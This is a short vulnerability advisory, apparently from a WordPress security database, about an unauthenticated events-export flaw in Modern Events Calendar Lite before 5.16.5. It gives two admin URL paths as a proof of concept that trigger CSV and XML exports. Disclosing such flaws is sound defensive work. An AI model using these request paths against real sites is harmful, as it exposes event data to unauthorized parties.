Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export
Description
The plugin did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example.
Proof of Concept
https://drive.google.com/file/d/1lLEXDyPp4LcKoCOqYS7A-0Yg_pIQD-ND/view?usp=sharing /wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv /wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=xml
Affects Plugins
Fixed in version 5.16.5✓
References
Classification
Miscellaneous
Original Researcher
Nguyen Van Khanh - SunCSR (Sun* Cyber Security Research)
Submitter
khanh
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-01-29 (about 3 months ago)
Added
2021-01-29 (about 3 months ago)
Last Updated
2021-01-31 (about 3 months ago)